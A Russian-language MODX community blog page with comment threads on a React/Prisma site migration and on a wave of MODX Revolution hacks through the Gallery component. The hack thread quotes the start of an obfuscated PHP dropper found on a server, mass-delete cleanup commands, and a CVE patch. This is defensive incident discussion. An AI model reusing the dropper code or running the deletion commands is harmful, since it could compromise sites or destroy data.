Blog by Fi1osof

ShopModxBox-4.0 by React-JS

Фабрика сайтов использует неэтичные способы собственного продвижения

ShopModxBox-4.2.0

Расширение API-запросов в ShopModxBox

ShopModxBox-4.3.0

Разворачиваем Graphcool Prisma на голом железе

Graphcool Prisma. Добавляем авторизацию.

Массовые взломы MODX Revolution

Javascript headless prisma-cms. CMS без внешнего оформления.

Измененная версия modxclub.ru на prisma-cms, пока что еще в связке с MODX

Внимание! Сайт переехал окончательно на JS. Пароли все старые не актуальны. Воспользуйтесь функцией смены пароля. И с этим два момента:

1. Почта отправляется с задержкой до 10 минут.

2. Пока почта не настроена как следует, так что смотрите папку Спам, скорее всего туда улетит.

И еще момент: кое-какие работы еще ведутся, так что возможны перебои. И пока никакие уведомления не работают. Уведомления заработают чуть позже.

И еще важный момент: Если у кого при отправке комментария будет страшно ругаться, почистите localStorage в браузере. Или просто в консоли выполните localStorage.comment_new = null

В ближайшее время выкачу заплатку.

Внимание! Сайт переехал окончательно на JS. Пароли все старые не актуальны. Воспользуйтесь функцией смены пароля. И с этим два момента: 1. Почта отправляется с задержкой до 10 минут. 2. Пока почта не настроена как следует, так что смотрите папку Спам, скорее всего туда улетит. И еще момент: кое-какие работы еще ведутся, так что возможны перебои. И пока никакие уведомления не работают. Уведомления заработают чуть позже. И еще важный момент: Если у кого при отправке комментария будет страшно ругаться, почистите localStorage в браузере. Или просто в консоли выполните localStorage.comment_new = null В ближайшее время выкачу заплатку.

Внимание! Сайт переехал окончательно на JS. Пароли

Да, изменение скорости ответа заметно даже  на глаз.

К тому же не понаслышке знаю технологии, который заложил Николай. Это очень гибко, удобно и надёжно. Объем кода сайта - чуть больше 350кб. При этом никакого php, только чистый js. Это нереально круто.

По себе могу сказать - после работы с реактом, если приходится заниматься php+jquery - охота выкинуть комп в окно. А с реактом я просто отдыхаю.

Да, изменение скорости ответа заметно даже  на глаз. К тому же не понаслышке знаю технологии, который заложил Николай. Это очень гибко, удобно и надёжно. Объем кода сайта - чуть больше 350кб. При этом никакого php, только чистый js. Это нереально круто. По себе могу сказать - после работы с реактом, если приходится заниматься php+jquery - охота выкинуть комп в окно. А с реактом я просто отдыхаю.

Да, изменение скорости ответа заметно даже  на гла

Изменил пароль, письмо пришло практически мгновенно.

Изменил пароль, письмо пришло практически мгновенн

Саша, спасибо на добром слове!

Письмо пришло практически мгновенно - просто повезло. Там очередь рассылки раз в минуту. Ты видимо просто попал в очередной этап.

Саша, спасибо на добром слове! Письмо пришло практически мгновенно - просто повезло. Там очередь рассылки раз в минуту. Ты видимо просто попал в очередной этап.

Саша, спасибо на добром слове! Письмо пришло практ

Не нашел почту обратной связи, так что пишу сюда, на сайте не работает авторизация через логин (через почту всё норм), при создании топика выводится только поле ввода заголовка, при сохранении пишется либо ошибка $data json либо "не заполнен текст", также не знаю фитча это или нет, но в настройках пользователя можно поставить любой пароль, даже пустую строку

Не нашел почту обратной связи, так что пишу сюда,

также сейчас при написании комментария пишется ошибка "топик не найден", но комент добавляется 

также сейчас при написании комментария пишется оши

@alexsoin, сорри за долгий ответ, занят был новым функционалом (чуть позже опубликую и распишу его).

1. Авторизация не может не работать через логин, но работать через емейл, или наоборот. Авторизация проходит в два этапа: сначала поиск пользователя по логину или емейлу, затем уже непосредственно авторизация. При этом на втором этапе не передается ни логин, ни емейл, а только id найденного пользователя. То есть не важно как был найден пользователь, по емейлу или логину, далее процедура идет единая, главное - чтобы пользователь был найден в принципе. У меня есть более прокаченная форма авторизации, которая позволяет выбрать пользователя из нескольких найденных (например, по имени, если человек забыл и логин и емейл (давно не заходил)). Принцип тот же - в итоге отправляется только id выбранного пользователя.

Перепроверьте еще раз, и если не получается, дайте больше деталей с каким логином не получается авторизоваться.

2. Создание топиков поправлено.

3. Пароль можно поставить любой, но пустой пароль не сохраняется. То есть пользователь обновляется, но сохранение такого пароля не происходит. Вот код.

4. Про "топик не найден", я так понимаю, это в момент обновления данных страницы. Это очень тонкий момент, который еще предстоит поправить, так как он сразу от нескольких вещей зависит. Если коротко, то на сайте очень активно используется кеширование не уровне провайдера данных, который обеспечивает обмен данными между страницей и сервером (apollo-client). Когда сохраняется коммент (а с ним обновление еще нескольких сущностей), выполняется и подгрузка обновленных данных. Вот в этот момент, если на текущей странице топика, где вы комментарий писали, происходит разрыв между сбросом кеша и подгрузкой данных, получается, что данных топика нет, вот и выходит эта надпись. Момент неприятный, но для работы сайта некритичный. В любом случае, спасибо за фидбэк, я для себя пометил, что надо дополнительно над этим моментом поработать.

@alexsoin, сорри за долгий ответ, занят был новым функционалом (чуть позже опубликую и распишу его). По вашим вопросам: 1. Авторизация не может не работать через логин, но работать через емейл, или наоборот. Авторизация проходит в два этапа: сначала поиск пользователя по логину или емейлу, затем уже непосредственно авторизация. При этом на втором этапе не передается ни логин, ни емейл, а только id найденного пользователя. То есть не важно как был найден пользователь, по емейлу или логину, далее процедура идет единая, главное - чтобы пользователь был найден в принципе. У меня есть более прокаченная форма авторизации, которая позволяет выбрать пользователя из нескольких найденных (например, по имени, если человек забыл и логин и емейл (давно не заходил)). Принцип тот же - в итоге отправляется только id выбранного пользователя. Перепроверьте еще раз, и если не получается, дайте больше деталей с каким логином не получается авторизоваться. 2. Создание топиков поправлено. 3. Пароль можно поставить любой, но пустой пароль не сохраняется. То есть пользователь обновляется, но сохранение такого пароля не происходит. Вот код. 4. Про "топик не найден", я так понимаю, это в момент обновления данных страницы. Это очень тонкий момент, который еще предстоит поправить, так как он сразу от нескольких вещей зависит. Если коротко, то на сайте очень активно используется кеширование не уровне провайдера данных, который обеспечивает обмен данными между страницей и сервером (apollo-client). Когда сохраняется коммент (а с ним обновление еще нескольких сущностей), выполняется и подгрузка обновленных данных. Вот в этот момент, если на текущей странице топика, где вы комментарий писали, происходит разрыв между сбросом кеша и подгрузкой данных, получается, что данных топика нет, вот и выходит эта надпись. Момент неприятный, но для работы сайта некритичный. В любом случае, спасибо за фидбэк, я для себя пометил, что надо дополнительно над этим моментом поработать.

@alexsoin, сорри за долгий ответ, занят был новым

@Fi1osof, авторизоваться через логин у меня не выходит через аккаунт с которого пишу, ввожу логин, система как вы и говорите находит пользователя, затем пишет "введите пароль" ввожу пароль, нажимаю далее, в ответ выходит сообщение об ошибке, о некорректности введенных данных. По такому же принципу ввожу вместо логина почту, и всё срабатывает нормально

@Fi1osof, авторизоваться через логин у меня не вых

Не получается именно с логина alexsoin или какого-то другого?

Не получается именно с логина alexsoin или какого-

да, с него

Странно. Я первым делом попробовал. Хотя конечно же пароль ваш не знаю, поэтому пароль конечно же не вводил. Поменяйте пароль, пришлите мне на n.lanets@modxclub.ru его и инфу с какого браузера пытаетесь (включая версию и ось), я перепроверю. 

Странно. Я первым делом попробовал. Хотя конечно ж

Алекс, у меня получилось с вашими данными зайти в разных браузерах. Чуть позже только еще на винде посмотрю. Но в любом случае, вопросы к форме авторизации теперь и у меня возникли. Я говорил, что в итоге на авторизацию отправляются id пользователя и пароль, а оказалось, что все-таки юзернейм отправляется (видимо заюзал какой-то промежуточный вариант формы :)). На днях буду переделать форму. может решит проблему.

Так же посмотрите, если вдруг вы не на https://, а на http://, попробуйте на https.

Алекс, у меня получилось с вашими данными зайти в разных браузерах. Чуть позже только еще на винде посмотрю. Но в любом случае, вопросы к форме авторизации теперь и у меня возникли. Я говорил, что в итоге на авторизацию отправляются id пользователя и пароль, а оказалось, что все-таки юзернейм отправляется (видимо заюзал какой-то промежуточный вариант формы :)). На днях буду переделать форму. может решит проблему. Так же посмотрите, если вдруг вы не на https://, а на http://, попробуйте на https.

Алекс, у меня получилось с вашими данными зайти в

Судя по всему, мало кто еще понимает что такое современный JS, реакт и т.п. и зачем это вообще нужно. Вот в качестве интересного примера: https://stackblitz.com/edit/test-google-map 

Это аналог сервиса jsfiddle.org, только специализированный под реакт и ангулар. Посмотрите код, конечный вывод, и прикиньте, как быстро вы сможете имеющимися у вас на текущий момент средствами накидать компонент для вывода гуглокарты с любыми кастомными на ней HTML-элементами (при том, что гуглокарта в принципе просто так не дает кастомные элементы выводить).

Судя по всему, мало кто еще понимает что такое современный JS, реакт и т.п. и зачем это вообще нужно. Вот в качестве интересного примера: https://stackblitz.com/edit/test-google-map Это аналог сервиса jsfiddle.org, только специализированный под реакт и ангулар. Посмотрите код, конечный вывод, и прикиньте, как быстро вы сможете имеющимися у вас на текущий момент средствами накидать компонент для вывода гуглокарты с любыми кастомными на ней HTML-элементами (при том, что гуглокарта в принципе просто так не дает кастомные элементы выводить).

Судя по всему, мало кто еще понимает что такое сов

Привет всем. Во первых, всех с праздниками и наверное всем хотелось бы пожелать жажды нового и тяги к будущему, потому что только мы можем сделать будущее настоящим.

Во вторых, да собственно по сабжу.

Пакет развернуть мне не удалось, причины скорее всего технические, но все по порядку..

Локально (под Windows7+OpenServer) я не развернул даже пакет react-study не стал долго копаться в проблемах и воспользовался modhost и все заработало с полу-тыка. ShopBox - правда не развернулся места ему не хватило но все равно там есть на что посмотреть.. как я понимаю в v4.0/ это подготовленный скин в котором можно начинать трудится, а все конфетки в пакете shopmodx-react который подтягивает еще пару интересных пакетов react-cms, modx-react .. 

Включу хотелку ... хотелось бы видеть пакет который будет самодостаточен в плане работы с МОДХ без дополнений Магазина а что то схожее с modxsite .. но я так понимаю что его можно выпилить из этой сборки.

И напоследок, хотелось бы поблагодарить Николая за то что он делает.

Буду следить за всем этим обязательно, более того буду пробовать, щупать и вообще двигать себя в этом направлении.

п.с. на самом деле вопросов на столько много что даже не понятно с чего начинать, так что пока изучаю сборку

Привет всем. Во первых, всех с праздниками и наверное всем хотелось бы пожелать жажды нового и тяги к будущему, потому что только мы можем сделать будущее настоящим. Во вторых, да собственно по сабжу. Пакет развернуть мне не удалось, причины скорее всего технические, но все по порядку.. Локально (под Windows7+OpenServer) я не развернул даже пакет react-study не стал долго копаться в проблемах и воспользовался modhost и все заработало с полу-тыка. ShopBox - правда не развернулся места ему не хватило но все равно там есть на что посмотреть.. как я понимаю в v4.0/ это подготовленный скин в котором можно начинать трудится, а все конфетки в пакете shopmodx-react который подтягивает еще пару интересных пакетов react-cms, modx-react .. Включу хотелку ... хотелось бы видеть пакет который будет самодостаточен в плане работы с МОДХ без дополнений Магазина а что то схожее с modxsite .. но я так понимаю что его можно выпилить из этой сборки. И напоследок, хотелось бы поблагодарить Николая за то что он делает. Буду следить за всем этим обязательно, более того буду пробовать, щупать и вообще двигать себя в этом направлении. п.с. на самом деле вопросов на столько много что даже не понятно с чего начинать, так что пока изучаю сборку

Привет всем. Во первых, всех с праздниками и навер

Добрый день и тоже с праздником!

Выпиливать ничего не надо. Для этого и делаются отдельные компоненты типа modx-react и react-cms. Главный базис - это react-cms. Конечно же он далек от конечной версии, там многое еще на базе заготовок. Но, до сих пор нет на рынке полноценного компонента CMS на базе node+react, поэтому приходится пилить что-то свое, по мере необходимости. Во всяком случае сервер-рендеринг, GraphQL и прочее в нем уже есть (кстати, даже серверные заголовки 200, 500, 301, 404 и т.п.). Меня этот пакет вполне устраивает, хоть над ним еще и придется поработать.

Пакет modx-react появился уже после этого релиза. В него я прописываю основные модели для работы с БД MODX. Он не работает сейчас напрямую с БД, а через modxsite-процессоры, и пока только документы и пользователи, но тем не менее, позволяет получить необходимые данные. https://github.com/MODX-Club/modx-react/tree/master/src/components/ORM 

На будущее есть идеи, и скорее всего, это компоненты станут более полными и самостоятельными.

Добрый день и тоже с праздником! Выпиливать ничего не надо. Для этого и делаются отдельные компоненты типа modx-react и react-cms. Главный базис - это react-cms. Конечно же он далек от конечной версии, там многое еще на базе заготовок. Но, до сих пор нет на рынке полноценного компонента CMS на базе node+react, поэтому приходится пилить что-то свое, по мере необходимости. Во всяком случае сервер-рендеринг, GraphQL и прочее в нем уже есть (кстати, даже серверные заголовки 200, 500, 301, 404 и т.п.). Меня этот пакет вполне устраивает, хоть над ним еще и придется поработать. Пакет modx-react появился уже после этого релиза. В него я прописываю основные модели для работы с БД MODX. Он не работает сейчас напрямую с БД, а через modxsite-процессоры, и пока только документы и пользователи, но тем не менее, позволяет получить необходимые данные. https://github.com/MODX-Club/modx-react/tree/master/src/components/ORM На будущее есть идеи, и скорее всего, это компоненты станут более полными и самостоятельными. Не за что.

Добрый день и тоже с праздником! Выпиливать ничего

Кстати, с GraphQL можно и здесь поиграться: https://modxclub.ru/react-lessons/lesson2 

Отдельный урок про GraphQL был здесь: https://modxclub.ru/topics/react-js.-urok-%E2%84%962.-zaprosyi-s-pomoshhyu-graphql-2693.html 

Кстати, с GraphQL можно и здесь поиграться: https://modxclub.ru/react-lessons/lesson2 Отдельный урок про GraphQL был здесь: https://modxclub.ru/topics/react-js.-urok-%E2%84%962.-zaprosyi-s-pomoshhyu-graphql-2693.html

Кстати, с GraphQL можно и здесь поиграться: https:

Отличная статья, спасибо!

Не могу войти в phpMyAdmin. Указываю пароль по умолчанию из env 

Не входит. Других логинов и паролей не нашел. 

Отличная статья, спасибо! Не могу войти в phpMyAdmin. Указываю пароль по умолчанию из env SQL_CLIENT_USER="root" SQL_LOGS_PASSWORD="graphcool" Не входит. Других логинов и паролей не нашел. Где ошибаюсь?

Отличная статья, спасибо! Не могу войти в phpMyAdm

Попробуйте prisma:prisma или root:prisma, они писали о планах теперь такой использовать

Попробуйте prisma:prisma или root:prisma, они писа

Классное пособие, было бы здорово его обновить и добавить поддержку https. Сам не могу разобраться)

Классное пособие, было бы здорово его обновить и д

Читайте документацию по react-scripts, для фронта он используется. Если просто тестовый сертификат сгенерировать, то запускаете HTTPS=true yarn start. Если использовать сторонний рабочий сертификат, то я лично настраиваю его на уровне nginx.

Читайте документацию по react-scripts, для фронта 

Также настраиваю его на уровне Nginx для сайтов по этому учебнику

https://blog.ssdnodes.com/blog/tutorial-extending-docker-nginx-host-multiple-websites-ssl/ 

, но к сожалению не смог настроить его для сервера Prisma. 

Будет здорово, если вы продолжите цикл своих познавательных статей по интеграции с Prisma.

Также настраиваю его на уровне Nginx для сайтов по этому учебнику https://blog.ssdnodes.com/blog/tutorial-extending-docker-nginx-host-multiple-websites-ssl/ , но к сожалению не смог настроить его для сервера Prisma. Будет здорово, если вы продолжите цикл своих познавательных статей по интеграции с Prisma.

Также настраиваю его на уровне Nginx для сайтов по

Вам не надо настраивать ssl на уровне призмы, если вы настраиваете ssl на уровне nginx. На nginx вы принимаете шифрованный трафик, и с него проксируете на призму (уже дешифрованный). Призма, в свою очередь, работает по обычному протоколу, но при этом напрямую не доступна извне, только через nginx.

Вам не надо настраивать ssl на уровне призмы, если

Спасибо! В теории все понятно, но на практике не хватает опыта без учебника, так как я больше фронт =)

Спасибо! В теории все понятно, но на практике не х

Не реклама, просто на дешевых хостингах нормальное подспорье https://find-xss.net/monitoring/  

Не раз выручал мониторинг файловой системы.

Не реклама, просто на дешевых хостингах нормальное подспорье https://find-xss.net/monitoring/ Не раз выручал мониторинг файловой системы.

Не реклама, просто на дешевых хостингах нормальное

Мониторинг - это определение симптомов. К сожалению, далеко не все бэкапами обзаводятся. И когда мониторинг скажет, что сайт заражен, без бэкапов будет тяжело восстановиться.

Мониторинг - это определение симптомов. К сожалени

Жестко очень... Если на сервере недостаточно хорошо настроены политики (open_basedir для сайтов, отдельные права и т.п.), то через любой такой сайт заражаются все сайты на сервере.

Жестко очень... Если на сервере недостаточно хорош

Николай, здравствуйте, не смог восстановить старый аккаунт. Угроза действительно серьезная, у нас около 9 пострадавших сайтов, правда все почему-то на 2.5.х и 5.4-5.6. php. Обнаружили в пятницу, вирус спит, а потом заменяет содержимое всех .js файлов (сайт начинает на фишинговые и рекламные сайты редиректить) детектится просто, смотрим index.php на наличие подозрительных @include и других отличий от стандартного, а также наличия файлов index.php в папках где их не должно быть (assets, core/packages и т.д.).

Николай, здравствуйте, не смог восстановить старый

2.5.1-pl тоже ломануть могли? 

" Мониторинг " - Список измененных файлов приходит на почту. Весьма удобно, не искать , а сразу знать куда влезли. 

" Мониторинг " - Список измененных файлов приходит

Одна из самых крупных катастроф с MODx Revo в истории?

Одна из самых крупных катастроф с MODx Revo в исто

>> " Мониторинг " - Список измененных файлов приходит на почту. Весьма удобно, не искать , а сразу знать куда влезли. 

Вот у меня только на одном из сайтов заменено содержимое более 2000 файлов. И чего мониторинг тут даст? Только одно: оперативное уведомление на счет того, что что-то на сайте изменилось. Но в восстановлении не поможет. Для восстановления очень полезен git. Конечно, бэкапы тоже очень помогают, но они не показывают что же было изменено. А git и поможет восстановить, и покажет где что изменилось (конечно же с учетом настроек .gitignore).

>> " Мониторинг " - Список измененных файлов приходит на почту. Весьма удобно, не искать , а сразу знать куда влезли. Вот у меня только на одном из сайтов заменено содержимое более 2000 файлов. И чего мониторинг тут даст? Только одно: оперативное уведомление на счет того, что что-то на сайте изменилось. Но в восстановлении не поможет. Для восстановления очень полезен git. Конечно, бэкапы тоже очень помогают, но они не показывают что же было изменено. А git и поможет восстановить, и покажет где что изменилось (конечно же с учетом настроек .gitignore).

>> " Мониторинг " - Список измененных файлов прихо

>>> Одна из самых крупных катастроф с MODx Revo в истории?

Не, было уже раньше, правда больше на Эво. Я думаю, дело в том, что технологии (и пропускная способность сети возросла сильно), и количество сайтов на MODX. Тем более, как тут же и говорят, вирус спал. То есть неделю (а то и больше) он просто заражал все, и только потом показался. Получилось эффектненько.

>>> Одна из самых крупных катастроф с MODx Revo в истории? Не, было уже раньше, правда больше на Эво. Я думаю, дело в том, что технологии (и пропускная способность сети возросла сильно), и количество сайтов на MODX. Тем более, как тут же и говорят, вирус спал. То есть неделю (а то и больше) он просто заражал все, и только потом показался. Получилось эффектненько.

>>> Одна из самых крупных катастроф с MODx Revo в 

<<< детектится просто, смотрим index.php на наличие подозрительных @include и других отличий от стандартного, а также наличия файлов index.php в папках где их не должно быть (assets, core/packages и т.д.).
На некоторых сайтах лишних и инфецированных файлов были замечено больше тысячи. Если бэкап есть, то замечательно. Если нет бэкапа, но восстанавливать сайт как-то надо, можно сделать так:

с учетом того, что не было замечено заразы в базе данных, если у вас сайт делался просто на уровне MODX-овых шаблонов, сниппетов и ченков, то делаем так:

1. Делаем бэкап текущего сайта. Даже с вирусами, это все равно бэкап.

2. Сохраняем отдельно файл-конфиг core/config/config.inc.php

3. Удаляем на сайте все php-файлы. find -regex .*\.php -print0 | xargs -0 rm
Если JS-файлы тоже были заражены, их тоже надо удалить find -regex .*\.js -print0 | xargs -0 rm

4. Закидываем конфиг-файл обратно.

5. Накатываем и обновляем MODX.

6. В управлении компонентами переустанавливаем имеющиеся компоненты.

В большинстве случаев, даже если вы использовали какие-то сторонние js-библиотеки или типа того, их не составит труда найти в сети и залить на сайт.

<<< детектится просто, смотрим index.php на наличие подозрительных @include и других отличий от стандартного, а также наличия файлов index.php в папках где их не должно быть (assets, core/packages и т.д.).
На некоторых сайтах лишних и инфецированных файлов были замечено больше тысячи. Если бэкап есть, то замечательно. Если нет бэкапа, но восстанавливать сайт как-то надо, можно сделать так: с учетом того, что не было замечено заразы в базе данных, если у вас сайт делался просто на уровне MODX-овых шаблонов, сниппетов и ченков, то делаем так: 1. Делаем бэкап текущего сайта. Даже с вирусами, это все равно бэкап. 2. Сохраняем отдельно файл-конфиг core/config/config.inc.php 3. Удаляем на сайте все php-файлы. find -regex .*\.php -print0 | xargs -0 rm
Если JS-файлы тоже были заражены, их тоже надо удалить find -regex .*\.js -print0 | xargs -0 rm 4. Закидываем конфиг-файл обратно. 5. Накатываем и обновляем MODX. 6. В управлении компонентами переустанавливаем имеющиеся компоненты. В большинстве случаев, даже если вы использовали какие-то сторонние js-библиотеки или типа того, их не составит труда найти в сети и залить на сайт.

<<< детектится просто, смотрим index.php на наличи

Спасибо за инструкции. Жизненно необходимая информация, если бэков не было. Я  частью, буквально за неделю сделал свежие бэки. Там вроде все чисто, тфу тфу) 

Поэтому решил полностью переутсановить сервер и выложить копии с моментальным обновлением до 2.6.5. Более эффективного метода не существует)

Спасибо за инструкции. Жизненно необходимая информация, если бэков не было. Я  частью, буквально за неделю сделал свежие бэки. Там вроде все чисто, тфу тфу) Поэтому решил полностью переутсановить сервер и выложить копии с моментальным обновлением до 2.6.5. Более эффективного метода не существует)

Спасибо за инструкции. Жизненно необходимая информ

>> Более эффективного метода не существует)

Если уязвимость на сайте есть, то переустановка сервера особо не поможет. Здесь же речь не о уязвимости на уровне серверов, а именно об уязвимости на уровне сайтов. Я сделал так:

1. На уровне nginx отключил все сайты. То есть сами конфиги лежат в /etc/nginx/sites-available, а на подключенные сайты симлинки на них в /etc/nginx/site-enabled. 

2. По одному вычищаю сайты и подключаю. При этом в каждый прописываю fastcgi_param PHP_VALUE open_basedir="/www/site_path/"; , то есть изоляция процессов в рамках конкретной директории.

Это не гарантирует отсутствие последующих взломов, но так зараза из взломанного сайта не распространится на другие. Таким образом легче будет проанализировать природу взлома, да и последствия меньше. 

>> Более эффективного метода не существует) Если уязвимость на сайте есть, то переустановка сервера особо не поможет. Здесь же речь не о уязвимости на уровне серверов, а именно об уязвимости на уровне сайтов. Я сделал так: 1. На уровне nginx отключил все сайты. То есть сами конфиги лежат в /etc/nginx/sites-available, а на подключенные сайты симлинки на них в /etc/nginx/site-enabled. 2. По одному вычищаю сайты и подключаю. При этом в каждый прописываю fastcgi_param PHP_VALUE open_basedir="/www/site_path/"; , то есть изоляция процессов в рамках конкретной директории. Это не гарантирует отсутствие последующих взломов, но так зараза из взломанного сайта не распространится на другие. Таким образом легче будет проанализировать природу взлома, да и последствия меньше.

>> Более эффективного метода не существует) Если у

Кажется я нашел на своем сервере самый старый вредоносный файл. Появился 19-го числа (большинство же взломов было зафиксировано с 20-го числа).

assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php

На вид очень похоже на то, что именно через этот файл и осуществлялся взлом, то есть уязвимость действительно в gallery была. 

$s=$_SERVER['DOCUMENT_ROOT'].'/assets/';$s1=$s.'images/';$fh=fopen($s1.'accesson.php','w');fwrite($fh,'<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90.......

Кажется я нашел на своем сервере самый старый вредоносный файл. Появился 19-го числа (большинство же взломов было зафиксировано с 20-го числа). assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php С таким содержимым: На вид очень похоже на то, что именно через этот файл и осуществлялся взлом, то есть уязвимость действительно в gallery была.

Кажется я нашел на своем сервере самый старый вред

Нашел такой же файл:
assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php
Но взлома или какой другой активности не было замечено. 


Комментарий к топику Массовые взломы MODX Revolution

Взломы последней версии могли быть из-за Gallery. На текущий момент безопасная версия MODX - 2.6.5, безопасная версия Gallery - 1.7.1. Все доступно в репозиториях, нужно только вовремя обновиться и не затягивать с этим.

Взломы последней версии могли быть из-за Gallery. 

Да, у меня со вчера после обновления повторных взломов пока не замечено.

Да, у меня со вчера после обновления повторных взл

Есть простой патч, конкретно против этой уязвимости в начало 2-х файлов прописать.

Подробно лечение описывал у себя в блоге http://fstrange.ru/coder/php/lechit-modx-ot-virusa.html 

//connectors/system/phpthumb.php

//fstr patch CVE-2018-1000207
if(isset($_POST["cache_filename"]) && strpos($_POST["cache_filename"],".php") ) die();


//assets/components/gallery/connector.php

//fstr patch2 CVE-2018-1000207
if(isset($_POST["action"]) && $_POST["action"] =="web/phpthumb" && isset($_POST["f"]) && (strtolower($_POST["f"])=="php") ) die();

Есть простой патч, конкретно против этой уязвимости в начало 2-х файлов прописать. Подробно лечение описывал у себя в блоге http://fstrange.ru/coder/php/lechit-modx-ot-virusa.html

Есть простой патч, конкретно против этой уязвимост

Мой сайт взломали как раз 20 июля. Появились левые php в assets/images и в public_html, все скрипты в папке assets/js приобрели одинаковый малый размер... В общем, все как вы и описали. Восстановил из бэкапа, благо месяц назад делал. Проапгрейдил до версии  MODX-2.6.5, перенес core на уровень выше... Вопрос такой: при создании бэкапа хостер автоматически всем папкам выставляет атрибут 700, а файлам 600. Нужно ли менять? И не понял, команду find -type d -print0 |xargs -0 chmod 0550  из командной строки какой программы писать? И 0 - первая цифра атрибута - это для какой программы? В файловом менеджере хостера пишется просто 700, 600... 

Мой сайт взломали как раз 20 июля. Появились левые

core нет смысла переносить выше. Надо только запретить обращение к ней извне (чтобы запросы на core не могли слать). Здесь запросы идут на assets и connectors, их имеет смысл переименовать. Только надо симлинки для картинок настроить, чтобы 404-ых не схватить.

>> find -type d -print0 |xargs -0 chmod 0550

Это по ssh выполняется одной командой. find -type d -print0 находит все папки. -print0 здесь - учет пробелов в названиях файлов. |xargs - указывает, что с найденными файлами надо выполнить следующие за ним команды, в нашем случае смену прав. -0 здесь работает в паре с -print0 и тоже устанавливает учет пробелов в именах файлов.

Но пока на обновленных сайтах новых взломов не было, может и не стоит столь сложную операцию делать (настраивать права на файлы), иначе могут возникнуть сбои в работе сайта. 

И да, права выставляются хостером по умолчанию. Если все работает, то значит так и надо.

core нет смысла переносить выше. Надо только запретить обращение к ней извне (чтобы запросы на core не могли слать). Здесь запросы идут на assets и connectors, их имеет смысл переименовать. Только надо симлинки для картинок настроить, чтобы 404-ых не схватить. >> find -type d -print0 |xargs -0 chmod 0550 Это по ssh выполняется одной командой. find -type d -print0 находит все папки. -print0 здесь - учет пробелов в названиях файлов. |xargs - указывает, что с найденными файлами надо выполнить следующие за ним команды, в нашем случае смену прав. -0 здесь работает в паре с -print0 и тоже устанавливает учет пробелов в именах файлов. Но пока на обновленных сайтах новых взломов не было, может и не стоит столь сложную операцию делать (настраивать права на файлы), иначе могут возникнуть сбои в работе сайта. И да, права выставляются хостером по умолчанию. Если все работает, то значит так и надо.

core нет смысла переносить выше. Надо только запре

 Нашёл файлик core/components/model/modx/processors/system/config.js.php  - читать не даёт, весит значительно меньше исходника. У кого ещё так? 

Нашёл файлик core/components/model/modx/processors

 Да, у меня там тоже пачка файлов, все с датой изменения и временем одинаковым.

Да, у меня там тоже пачка файлов, все с датой изменения и временем одинаковым. https://yadi.sk/i/GbV7-lubX9HHyA

Да, у меня там тоже пачка файлов, все с датой изме

Комментарий к топику Javascript headless prisma-cms. CMS без внешнего оформления.

Артем, судя по всему ты пытался отправить сообщение с мобильника. К сожалению, в используемом текстовом редакторе draft-js есть старая бага, проявляющаяся на некоторых сочетаниях "андроид+клавиатура+мобильный браузер". В результате кириллица не воспринимается и отправляется пустое сообщение (или неполное). Открыто несколько тикетов, вот собирательный: https://github.com/facebook/draft-js/issues/1895 

Надеюсь скоро поправят и проблема исчезнет. Пока что гарантировано сообщения отправляются только с компа или в латинице.

Артем, судя по всему ты пытался отправить сообщение с мобильника. К сожалению, в используемом текстовом редакторе draft-js есть старая бага, проявляющаяся на некоторых сочетаниях "андроид+клавиатура+мобильный браузер". В результате кириллица не воспринимается и отправляется пустое сообщение (или неполное). Открыто несколько тикетов, вот собирательный: https://github.com/facebook/draft-js/issues/1895 Надеюсь скоро поправят и проблема исчезнет. Пока что гарантировано сообщения отправляются только с компа или в латинице.

Артем, судя по всему ты пытался отправить сообщени

Остается только решить вопрос как обновлять текущего пользователя - не понял, а в чем вопрос тогда? Использовать ли для этого процессоры?

Остается только решить вопрос как обновлять текуще

Оставлю первый коммент. 

Это действительно КРУТО!!!

Может это и не конструктивный комментарий, но уж точно он от души :)

Оставлю первый коммент. Это действительно КРУТО!!! Может это и не конструктивный комментарий, но уж точно он от души :)

Оставлю первый коммент. Это действительно КРУТО!!!

Саша, спасибо! :)

Кстати, обратите внимание, что весь JS этого сайта - 346 kB в сжатом виде. 

Кстати, обратите внимание, что весь JS этого сайта

Мне нравится безумная скорость работы! Вот бы внешний вид и фишечки разные намудрить ещё))

Мне нравится безумная скорость работы! Вот бы внеш

Ну вот скоро вы и сможете всякие фишечки добавлять))

Ну вот скоро вы и сможете всякие фишечки добавлять

Николай, скажи, а ты мобильные приложения на JS не писал? Я слышал, что есть возможность на React их писать. Может у тебя есть инфа/опыт, которым ты мог бы поделиться?)